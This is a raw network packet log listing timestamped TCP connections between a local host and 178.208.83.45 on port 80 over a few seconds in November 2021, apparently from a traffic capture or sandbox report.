Nov 12, 2021 22:23:59.340184927 CET	80	49986	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.341079950 CET	49986	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.456959009 CET	49986	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.458348989 CET	49988	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.479465008 CET	80	49986	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.479552984 CET	49986	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.480715990 CET	80	49988	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.480880022 CET	49988	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.481609106 CET	49988	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.503828049 CET	80	49988	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.506922007 CET	80	49988	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.507042885 CET	49988	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.611609936 CET	49988	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.612761021 CET	49990	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.633928061 CET	80	49988	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.634088039 CET	49988	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.635169983 CET	80	49990	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.635345936 CET	49990	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.636147022 CET	49990	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.658586979 CET	80	49990	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.662151098 CET	80	49990	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.662381887 CET	49990	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.768193007 CET	49990	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.769973040 CET	49991	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.790632010 CET	80	49990	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.790744066 CET	49990	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.792509079 CET	80	49991	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.792685032 CET	49991	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.793643951 CET	49991	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.816165924 CET	80	49991	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.819433928 CET	80	49991	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.819688082 CET	49991	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.925043106 CET	49991	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.926727057 CET	49992	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.947637081 CET	80	49991	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.947714090 CET	49991	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.949008942 CET	80	49992	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.949126005 CET	49992	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.949820042 CET	49992	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.972090960 CET	80	49992	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.975209951 CET	80	49992	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.975332022 CET	49992	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.081135035 CET	49992	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.082417965 CET	49994	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.103588104 CET	80	49992	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.105112076 CET	80	49994	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.105309010 CET	49992	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.105357885 CET	49994	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.106127024 CET	49994	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.128571987 CET	80	49994	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.132323027 CET	80	49994	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.132446051 CET	49994	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.237169027 CET	49994	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.238750935 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.259598017 CET	80	49994	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.259768009 CET	49994	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.261071920 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.268136024 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.269897938 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.292992115 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.298943043 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.299103022 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.300745010 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.300941944 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.301208973 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.301364899 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.326221943 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.327054024 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.327075958 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.327088118 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.327100992 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.327112913 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.327275038 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.327336073 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.350089073 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350115061 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350123882 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350145102 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350162983 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350173950 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350189924 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350198030 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.350198984 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350217104 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350234032 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.350259066 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.350305080 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.350356102 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.372737885 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.372795105 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.372821093 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.372844934 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.372848988 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.372901917 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.372927904 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.372950077 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.372951031 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.372977018 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.372980118 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.373003960 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373027086 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373050928 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373151064 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373176098 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373210907 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373219013 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373248100 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373260021 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373301983 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373347998 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.373370886 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.395639896 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.395683050 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.395693064 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.395771980 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.395924091 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.395998955 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.398751020 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.398948908 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.411881924 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.438479900 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.438704014 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.550506115 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.552510977 CET	49998	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.572968006 CET	80	49997	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.573133945 CET	49997	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.574928999 CET	80	49998	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.575150967 CET	49998	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.575884104 CET	49998	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.598932028 CET	80	49998	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.601737022 CET	80	49998	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.601850033 CET	49998	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.706156969 CET	49998	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.714382887 CET	50000	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.728642941 CET	80	49998	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.728728056 CET	49998	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.736867905 CET	80	50000	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.736982107 CET	50000	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.737734079 CET	50000	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.760037899 CET	80	50000	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.763137102 CET	80	50000	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.763226986 CET	50000	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.877995968 CET	50000	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.879190922 CET	50001	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.900418997 CET	80	50000	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.903861046 CET	80	50001	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.934236050 CET	50000	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.934377909 CET	50001	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.937268972 CET	50001	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:00.960920095 CET	80	50001	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.964185953 CET	80	50001	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:00.964293003 CET	50001	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.080462933 CET	50001	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.082753897 CET	50003	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.102807045 CET	80	50001	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.102935076 CET	50001	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.105066061 CET	80	50003	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.105334044 CET	50003	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.105938911 CET	50003	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.128226042 CET	80	50003	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.131673098 CET	80	50003	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.131740093 CET	50003	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.237675905 CET	50003	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.238823891 CET	50004	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.259963036 CET	80	50003	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.260066032 CET	50003	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.261096001 CET	80	50004	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.261506081 CET	50004	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.262347937 CET	50004	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.284827948 CET	80	50004	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.289114952 CET	80	50004	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.289258003 CET	50004	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.394905090 CET	50004	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.396630049 CET	50005	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.417236090 CET	80	50004	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.417398930 CET	50004	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.418836117 CET	80	50005	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.418966055 CET	50005	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.420886993 CET	50005	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.443259954 CET	80	50005	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.446050882 CET	80	50005	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.446130037 CET	50005	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.550328016 CET	50005	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.552529097 CET	50007	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.572647095 CET	80	50005	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.572783947 CET	50005	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.576986074 CET	80	50007	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.577122927 CET	50007	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.578301907 CET	50007	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.600584030 CET	80	50007	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.605346918 CET	80	50007	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.605490923 CET	50007	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.738415956 CET	50007	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.739952087 CET	50009	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.760865927 CET	80	50007	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.761044979 CET	50007	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.762226105 CET	80	50009	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.762355089 CET	50009	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.763458967 CET	50009	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.788471937 CET	80	50009	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.791773081 CET	80	50009	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.794186115 CET	50009	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.795727968 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.820398092 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.828528881 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.830159903 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.830241919 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.830441952 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.830527067 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.854625940 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.854881048 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.854918957 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.854943991 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.854989052 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.855006933 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.855015993 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.855027914 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.855055094 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.855067015 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.855091095 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.855104923 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.855117083 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.855128050 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.855179071 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.855192900 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.877504110 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877527952 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877536058 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877578974 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877592087 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877602100 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877614975 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877626896 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877638102 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877650023 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877657890 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.877661943 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877679110 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877691984 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877724886 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.877742052 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877753973 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877765894 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877778053 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877789021 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877798080 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.877799988 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.877846003 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.877865076 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.899981022 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900008917 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900022030 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900080919 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.900099993 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900111914 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900135040 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.900168896 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900180101 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.900181055 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900207996 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.900238991 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.900243998 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900275946 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900288105 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900316954 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900363922 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900374889 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900407076 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900437117 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900448084 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900460958 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900473118 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900518894 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900563955 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900576115 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900654078 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900666952 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900680065 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900695086 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900707006 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900719881 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900732040 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900743961 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900757074 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900768042 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900779963 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900791883 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900804043 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900815964 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900826931 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900839090 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.900877953 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.910712004 CET	50009	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.912266016 CET	50011	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.922334909 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.922365904 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.922404051 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.922445059 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.922566891 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.922606945 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.922679901 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.922725916 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.925518036 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.925601006 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.932977915 CET	80	50009	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.933083057 CET	50009	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.934521914 CET	80	50011	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.937448978 CET	50011	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.938663006 CET	50011	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:01.960942984 CET	80	50011	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.966550112 CET	80	50011	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:01.966610909 CET	50011	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.159377098 CET	50011	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.159766912 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.161607027 CET	50013	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.181679010 CET	80	50011	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.181828022 CET	50011	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.182080984 CET	80	50010	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.182154894 CET	50010	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.183792114 CET	80	50013	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.183870077 CET	50013	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.190659046 CET	50013	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.213388920 CET	80	50013	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.219743967 CET	80	50013	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.220416069 CET	50013	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.330848932 CET	50013	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.332457066 CET	50015	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.353189945 CET	80	50013	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.353471994 CET	50013	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.354994059 CET	80	50015	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.356049061 CET	50015	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.356617928 CET	50015	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.359684944 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.379137039 CET	80	50015	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.382028103 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.382848978 CET	80	50015	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.383447886 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.383527994 CET	50015	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.385946989 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.386378050 CET	50017	80	192.168.2.4	178.208.83.45
